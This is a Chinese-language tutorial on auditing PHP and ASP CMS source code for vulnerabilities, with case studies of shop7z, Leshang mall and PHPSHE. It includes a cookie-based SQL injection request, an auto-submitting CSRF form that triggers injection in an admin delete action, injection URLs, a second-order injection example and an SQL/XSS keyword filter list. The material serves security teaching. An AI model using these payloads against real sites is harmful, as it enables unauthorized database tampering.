兩大審計的基本方法
1. 跟蹤用戶的輸入數據,判斷數據進入的每一個代碼邏輯是否有可利用的點,此處的代碼邏輯可以是一個函數,或者是條小小的條件判斷語句。
2. 根據不同編程語言的特性,及其歷史上經常產生漏洞的一些函數,功能,把這些點找出來,在分析函數調用時的參數,如果參數是用戶可控,就很有可能引發安全漏洞
1、尋找漏洞前准備理解
理解現在的cms大致可分為兩種,單入口模式和多入口模式.
多入口模式cms :每一個功能都需要訪問不同的文件。
單入口模式的cms:MVC的開發出來的
So,挖掘漏洞方式
1、搜索一些獲取用戶輸入數據的函數,來找到用戶輸入數據的源頭,之后我們從這里為起點,跟蹤數據的流向,分析在這整個過程中數據的處理情況,進而定位可能觸發漏洞的點。
2、搜索一些經常產生安全問題的函數,比如執行數 據庫查詢的函數,執行系統命令的函數,文件操作類函數等等,在通過回溯這些函數在被調用時參數,判斷參數是否我們可控,進而定位漏洞點。
常用的正則 PHP
\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST 獲取用戶輸入 eval\(|assert\(|system\( 命令執行 require\(|require_once\(|include\(|include_once\( 文件包含 file_get_contents\(|file\(|fopen\(|highlight_file\(|show_source\(|unlink 文件讀取,寫入,刪除 simplexml_load_string XXE unserialize 反序列化漏洞
ASP ==》 搜索request找輸入點,直接跟蹤變量==》查看文件頭包含include的文件(全局配置文件,全局函數文件,安全過濾文件)
.NET
Jsp
Ex:代碼審計多入口模式之SQL注入篇(shop7z)
Shop7_safe.asp 安全過濾函數
<% Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr '自定義需要過濾的字串,用 "曹" 分隔 ' 防止SQL注入以及XSS跨站攻擊 /2016/1/3 Fy_In = "'曹;曹and曹exec曹insert曹select曹delete曹count曹*曹%曹chr曹mid曹master曹truncate曹char曹declare曹<曹>曹script" '---------------------------------- %> //為毛不用操。。。 <% Fy_Inf = split(Fy_In,"曹") '--------POST部份------------------ If Request.Form<>"" Then For Each Fy_Post In Request.Form For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.FormFy_Post)),Fy_Inf(Fy_Xh))<>0 Then ( Response.Write "xxx<Script Language=JavaScript>('請不要對本站嘗試進行非法操作謝謝合作^_^ ');history.go(-1);</Script>" Response.End End If Next Next End If '---------------------------------- '--------GET部份------------------- If Request.QueryString<>"" Then For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then Response.Write "xxx<Script Language=JavaScript>('請不要對本站嘗試進行注入操作謝謝合作^_^ ');history.go(-1);</Script>" Response.End End If Next Next End If %>
Request回來的參數只對get和post兩種方法針對SQL注入攻擊進行過濾。Cookie呢?So?
request.QueryString(獲取GET請求的參數) request.form() (獲取POST請求的參數) request.cookie() (獲取通過cookie傳來的參數 request )
關注從 cookie中獲取參數的函數
開始
漏洞文件:news.asp
searchkey=request("searchkey") searchkind=request("searchkind") if searchkey<>"" then sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" and (c_title like '%"&searchkey&"%' or c_contect like '%"&searchkey&"%') order by c_num desc,c_addtime desc" else sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" order by c_num desc,c_addtime desc" end if set rs3=server.CreateObject("adodb.recordset") rs3.open sql3,conn,1,1
文件包含了全局過濾文件,用requset()獲取參數,在cookie處提交惡意代碼,抓包
GET /news.asp?l_id=1 HTTP/1.1 Host: 127.0.0.1:99 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: _ga=GA1.1.1929133354.1465629589; COSPTLCBWXNQVBUKXIOJ=KSBKFPQVGIRJWBOELVYRTMRCNPDSIWYDIWYHQYNQ; searchkey=sss'and#
執行語句
select * from e_contect where c_parent2=1 and (c_title like '%sss'and#%' or c_contect like '%sss'and#%') order by c_num desc,c_addtime desc
好吧看圖
理解參數的傳遞。Ok
Ex:代碼審計單入口模式(樂尚商城cms)
這種cms典型的采用 MVC 編程模型編寫的程序,而且它還將 URL 路由進行了重寫,也就是說他的 URL 如果按照國際標准去解析他,是沒有什么實際意義的,所以遇到這種程序,我們還需要理清它 URL 路由規則,找到參數名,與參數值的位置關系。
前台url:
后台url:
目錄結構:
單入口一般采用這樣的目錄結構的。分析程序執行流程,理解在index.php文件之間的調用
第一個該文件定義了一些變量,好像這個沒什么卵用。關鍵/brophp.php:
/包含框架中的函數庫文件 include BROPHP_PATH.'commons/functions.inc.php'; ==》該文件內部是一些全局函數 //包含全局的函數庫文件,用戶可以自己定義函數在這個文件中 $funfile=PROJECT_PATH."commons/functions.inc.php"; if(file_exists($funfile)) include $funfile; //設置包含目錄(類所在的全部目錄), PATH_SEPARATOR 分隔符號 Linux(:) Windows(;) //之后設置了許多的目錄, $include_path=get_include_path(); //原基目錄 $include_path.=PATH_SEPARATOR.BROPHP_PATH."bases/"; //框架中基類所在的目錄 $include_path.=PATH_SEPARATOR.BROPHP_PATH."classes/" ;//框架中擴展類的目錄 $include_path.=PATH_SEPARATOR.BROPHP_PATH."libs/" ; //模板Smarty所在的目錄 $include_path.=PATH_SEPARATOR.PROJECT_PATH."classes/";//項目中用的到的工具類 $controlerpath=PROJECT_PATH."runtime/controls/".TMPPATH; //生成控制器所在的路徑 $include_path.=PATH_SEPARATOR.$controlerpath; //當前應用的控制類所在的目錄 //設置include包含文件所在的所有目錄 set_include_path($include_path); //自動加載類 function __autoload($className){ if($className=="memcache"){//如果是系統的Memcache類則不包含 return; }else if($className=="Smarty"){//如果類名是Smarty類,則直接包含 include "Smarty.class.php"; }else{ //如果是其他類,將類名轉為小寫 include strtolower($className).".class.php"; } Debug::addmsg("<b> $className </b>類", 1); //在debug中顯示自動包含的類 }
使用set_include_path($include_path) ,將這些目錄下的文件全部包含進來,逐個點進去看看,發現了定義路由的文件是 brophp/bases/prourl.class.php 看看文件內容:
<?php class Prourl { /** * URL路由,轉為PATHINFO的格式 */ static function parseUrl(){ if (isset($_SERVER['PATH_INFO'])){ //獲取 pathinfo $pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/")); // 獲取 control $_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index'); array_shift($pathinfo); //將數組開頭的單元移出數組 // 獲取 action $_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index'); array_shift($pathinfo); //再將將數組開頭的單元移出數組 for($i=0; $i<count($pathinfo); $i+=2){ $_GET[$pathinfo[$i]]=$pathinfo[$i+1]; } }else{ $_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index');//默認是index模塊 $_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index'); //默認是index動作 if($_SERVER["QUERY_STRING"]){ $m=$_GET["m"]; unset($_GET["m"]); //去除數組中的m $a=$_GET["a"]; unset($_GET["a"]); //去除數組中的a $query=http_build_query($_GET); //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式 //組成新的URL $url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query); header("Location:".$url); } } } }
這段代碼將我們的 URL 進行了處理,ex當我們請求這樣的 URL時
http://localhost/leshang/index.php/product/index/id/32/pid/0/m_id/31
經過定義路由的文件,這樣一段代碼的處理后的效果是
1
2
3
4
5
|
$_GET['m']= product
$_GET['a'] = index
$_GET['id'] = 32
$_GET['pid'] = 0
$_GET['m_id'] = 3
|
通過分析,我們直接按照標准的形式提交參數上去也是可以的,下面的 URL 和上面的 URL是一樣的
http://localhost/leshang/index.php?m=product&a=index&id=32&pid=0&m_id=31
所以遇到 URL 重寫也無需慌張,仔細分析程序即可。
之后繼續分析 brophp.php 文件,我們還可以發現,程序沒有對我們的參數進行過濾,接下了就上正則搜索了
\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST
逐個分析。就能找到漏洞點。看下這個其中一個漏洞文件 admin/controls/acate.class.php
function del(){ $acate=D("acate"); if($_POST['dels']){ if($acate->delete($_POST['id'])){ $this->clear_cache(); $this->success("刪除成功!", 1, "acate/index"); } else { $this->error("刪除失敗!", 1, "acate/index"); } } else { if($acate->delete($_GET['id'])){ $this->clear_cache(); $this->success("刪除成功!", 1, "acate/index"); } else { $this->error("刪除失敗!", 1, "acate/index"); } } }
這里直接將 $_POST['id'] 傳入了 delete 函數,看下delete函數
function delete(){ $where=""; $data=array(); $args=func_get_args(); //獲取參數 if(count($args)>0){ $where = $this->comWhere($args); //傳參 構造 where 語句 $data=$where["data"]; $where= $where["where"]; }else if($this->sql["where"] != ""){ $where=$this->comWhere($this->sql["where"]); $data=$where["data"]; $where=$where["where"]; } $order = $this->sql["order"] != "" ? " ORDER BY {$this->sql["order"][0]}" : ""; $limit = $this->sql["limit"] != "" ? $this->comLimit($this->sql["limit"]) : ""; if($where=="" && $limit==""){ $where=" where {$this->fieldList["pri"]}=''"; } $sql="DELETE FROM {$this->tabName}{$where}{$order}{$limit}"; return $this->query($sql, __METHOD__,$data); }
在進入 comWhere 函數,漏洞關鍵代碼
private function comWhere($args){ $where=" WHERE "; $data=array(); if(empty($args)) return array("where"=>"", "data"=>$data); foreach($args as $option) { if(empty($option)){ $where = ''; //條件為空,返回空字符串;如'',0,false 返回: '' //5 continue; } else if(is_string($option)) { if (is_numeric($option[0])) { $option = explode(',', $option); //3 $where .= "{$this->fieldList["pri"]} IN(" . implode(',', array_fill(0, count($option), '?')) . ")"; $data=$option; continue; } else {
當 `$args` 的一個元素的值 為字符串時,就會直接並入 where 子句
$where .= $option; //2 continue; } } ......................... .............................. $where=rtrim($where, "OR "); return array("where"=>$where, "data"=>$data);
當 $args 的一個元素的值 為字符串時,就會直接並入 where 子句,之后返回。 這樣,數據的來源沒有過濾,處理過程也沒過濾,造成了注入。 同時這里依舊存在 CSRF 漏洞。下面我的測試 POC
<form action=http://localhost/lesh/admin.php/acate/del method=POST> <input type="text" name="id" value="jinyu'" /> <input type="text" name="dels" value="1" /> </form> <script> document.forms[0].submit(); </script>
訪問后,執行的 SQL 語句為:
DELETE FROM ls_acate WHERE jinyu'
該漏洞發生在 del 函數中,而且有很多文件都是直接復制了該函數,所以使用了該函數的都存在該sql注入
上面的注入需要管理員權限
接下來看下這個 漏洞文件 : home/controls/user.class.php
關鍵代碼:
function del_consult(){ $consult=D("Consult"); if($_GET['id']){ if($consult->delete($_GET['id'])){ $this->success("刪除成功!", 1); } else { $this->error("刪除失敗!", 1); } } }
這里和上面的也差不多, delete($_GET['id']) 將 id 參數帶入了漏洞函數,造成注入。。
提交 http://localhost/lesh/index.php/user/del_consult?id=jinyu'
執行的語句:
DELETE FROM ls_consult WHERE jinyu'
同樣的使用了該函數的都有漏洞。。。
為了文章知識的完整性,下面來看一個 二次注入 的例子,來源 http://www.wooyun.org/bugs/wooyun-2010-0141461 烏雲暫時打不開,自己搭靶機看下吧。
ex:PHPSHE 二次注入一枚
case 'register': if (isset($_p_pesubmit)) { if($db->pe_num('user', array('user_name'=>pe_dbhold($_g_user_name)))) pe_error('用戶名已存在...'); if($db->pe_num('user', array('user_email'=>pe_dbhold($_g_user_email)))) pe_error('郵箱已存在...'); if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('驗證碼錯誤'); $sql_set['user_name'] = $_p_user_name; $sql_set['user_pw'] = md5($_p_user_pw); $sql_set['user_email'] = $_p_user_email; $sql_set['user_ip'] = pe_ip(); $sql_set['user_atime'] = $sql_set['user_ltime'] = time(); if ($user_id = $db->pe_insert('user', pe_dbhold($sql_set))) { add_pointlog($user_id, 'reg', $cache_setting['point_reg'], '注冊帳號'); $info = $db->pe_select('user', array('user_id'=>$user_id)); $_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']); $_SESSION['user_id'] = $info['user_id']; $_SESSION['user_name'] = $info['user_name']; $_SESSION['pe_token'] = pe_token_set($_SESSION['user_idtoken']); //未登錄時的購物車列表入庫 if (is_array($cart_list = unserialize($_c_cart_list))) { foreach ($cart_list as $k => $v) { $cart_info['cart_atime'] = time(); $cart_info['product_id'] = $k; $cart_info['product_num'] = $v['product_num']; $cart_info['user_id'] = $info['user_id'];
用戶注冊時 ,進行了轉義,
然后登入時將完整的值帶入了session
case 'login': if (isset($_p_pesubmit)) { $sql_set['user_name'] = $_p_user_name; $sql_set['user_pw'] = md5($_p_user_pw); if (strtolower($_s_authcode) != strtolower($_p_authcode)) pe_error('驗證碼錯誤'); if ($info = $db->pe_select('user', pe_dbhold($sql_set))) { $db->pe_update('user', array('user_id'=>$info['user_id']), array('user_ltime'=>time())); if (!$db->pe_num('pointlog', " and `user_id` = '{$info['user_id']}' and `pointlog_type` = 'reg' and `pointlog_text` = '登錄帳號' and `pointlog_atime` >= '".strtotime(date('Y-m-d'))."'")) { add_pointlog($info['user_id'], 'reg', $cache_setting['point_login'], '登錄帳號'); } $_SESSION['user_idtoken'] = md5($info['user_id'].$pe['host_root']); $_SESSION['user_id'] = $info['user_id']; $_SESSION['user_name'] = $info['user_name']; z module/index/order.php 出庫 case 'comment': $order_id = pe_dbhold($_g_id); $info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id)); if (!$info['order_id']) pe_error('參數錯誤...'); $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id)); if (isset($_p_pesubmit)) { pe_token_match(); if ($info['order_comment']) pe_error('請勿重復評價...'); foreach ($info_list as $k=>$v) { $sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]); $sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]); $sql_set[$k]['comment_atime']= time(); $sql_set[$k]['product_id'] = $v['product_id']; $sql_set[$k]['order_id'] = $order_id; $sql_set[$k]['user_ip'] = pe_dbhold(pe_ip()); $sql_set[$k]['user_id'] = $_s_user_id; $sql_set[$k]['user_name'] = $_s_user_name; if (!$sql_set[$k]['comment_text']) pe_error('評價內容必須填寫...'); } if ($db->pe_insert('comment', $sql_set)) { order_callback('comment', $order_id); pe_success('評價成功!');
zmodule/index/order.php 出庫
case 'comment': $order_id = pe_dbhold($_g_id); $info = $db->pe_select('order', array('order_id'=>$order_id, 'user_id'=>$_s_user_id)); if (!$info['order_id']) pe_error('參數錯誤...'); $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id)); if (isset($_p_pesubmit)) { pe_token_match(); if ($info['order_comment']) pe_error('請勿重復評價...'); foreach ($info_list as $k=>$v) { $sql_set[$k]['comment_star'] = intval($_p_comment_star[$v['product_id']]); $sql_set[$k]['comment_text'] = pe_dbhold($_p_comment_text[$v['product_id']]); $sql_set[$k]['comment_atime']= time(); $sql_set[$k]['product_id'] = $v['product_id']; $sql_set[$k]['order_id'] = $order_id; $sql_set[$k]['user_ip'] = pe_dbhold(pe_ip()); $sql_set[$k]['user_id'] = $_s_user_id; $sql_set[$k]['user_name'] = $_s_user_name; if (!$sql_set[$k]['comment_text']) pe_error('評價內容必須填寫...'); } if ($db->pe_insert('comment', $sql_set)) { order_callback('comment', $order_id); pe_success('評價成功!');
我們注冊個用戶 aaaaaaa' ,購買商品后評價,可以看到 單引號帶入了
黑盒審計:手工+掃描器 尋找漏洞 (SQL注入、XSS、任意文件上傳)
白盒審計:審計工具 尋找漏洞 (參數為過濾、文件名過濾不嚴、命令執行、文件讀取)
我們需要注意某些函數 跟進函數進行全局審計。
PHP常見函數及其功能:
basename() 返回路徑中的文件名部分。
chgrp() 改變文件組。
chmod() 改變文件模式。
chown() 改變文件所有者。
clearstatcache() 清除文件狀態緩存。
copy() 復制文件。
delete() 參見 unlink() 或 unset()。
dirname() 返回路徑中的目錄名稱部分。
disk_free_space() 返回目錄的可用空間。
disk_total_space() 返回一個目錄的磁盤總容量。
diskfreespace() disk_free_space() 的別名。
fclose() 關閉打開的文件。
feof() 測試文件指針是否到了文件結束的位置。
fflush() 向打開的文件輸出緩沖內容。
fgetc() 從打開的文件中返回字符。
fgetcsv() 從打開的文件中解析一行,校驗 CSV 字段。
fgets() 從打開的文件中返回一行。
fgetss() 從打開的文件中讀取一行並過濾掉 HTML 和 PHP 標記。
file() 把文件讀入一個數組中。
file_exists() 檢查文件或目錄是否存在。
file_get_contents() 將文件讀入字符串。
file_put_contents 將字符串寫入文件。
fileatime() 返回文件的上次訪問時間。
filectime() 返回文件的上次改變時間。
filegroup() 返回文件的組 ID。
fileinode() 返回文件的 inode 編號。
filemtime() 返回文件的上次修改時間。
fileowner() 文件的 user ID (所有者)。
fileperms() 返回文件的權限。
filesize() 返回文件大小。
filetype() 返回文件類型。
flock() 鎖定或釋放文件。
fnmatch() 根據指定的模式來匹配文件名或字符串。
fopen() 打開一個文件或 URL。
fpassthru() 從打開的文件中讀數據,直到 EOF,並向輸出緩沖寫結果。
fputcsv() 將行格式化為 CSV 並寫入一個打開的文件中。
fputs() fwrite() 的別名。
fread() 讀取打開的文件。
fscanf() 根據指定的格式對輸入進行解析。
fseek() 在打開的文件中定位。
fstat() 返回關於一個打開的文件的信息。
ftell() 返回文件指針的讀/寫位置
ftruncate() 將文件截斷到指定的長度。
fwrite() 寫入文件。
glob() 返回一個包含匹配指定模式的文件名/目錄的數組。
is_dir() 判斷指定的文件名是否是一個目錄。
is_executable() 判斷文件是否可執行。
is_file() 判斷指定文件是否為常規的文件。
is_link() 判斷指定的文件是否是連接。
is_readable() 判斷文件是否可讀。
is_uploaded_file() 判斷文件是否是通過 HTTP POST 上傳的。
is_writable() 判斷文件是否可寫。
is_writeable() is_writable() 的別名。
link() 創建一個硬連接。
linkinfo() 返回有關一個硬連接的信息。
lstat() 返回關於文件或符號連接的信息。
mkdir() 創建目錄。
move_uploaded_file() 將上傳的文件移動到新位置。
parse_ini_file() 解析一個配置文件。
pathinfo() 返回關於文件路徑的信息。
pclose() 關閉有 popen() 打開的進程。
popen() 打開一個進程。
readfile() 讀取一個文件,並輸出到輸出緩沖。
readlink() 返回符號連接的目標。
realpath() 返回絕對路徑名。
rename() 重名名文件或目錄。
rewind() 倒回文件指針的位置。
rmdir() 刪除空的目錄。
set_file_buffer() 設置已打開文件的緩沖大小。
stat() 返回關於文件的信息。
symlink() 創建符號連接。
tempnam() 創建唯一的臨時文件。
tmpfile() 建立臨時文件。
touch() 設置文件的訪問和修改時間。
umask() 改變文件的文件權限。
unlink() 刪除文件。
分析來自:http://bobao.360.cn/learning/detail/3023.html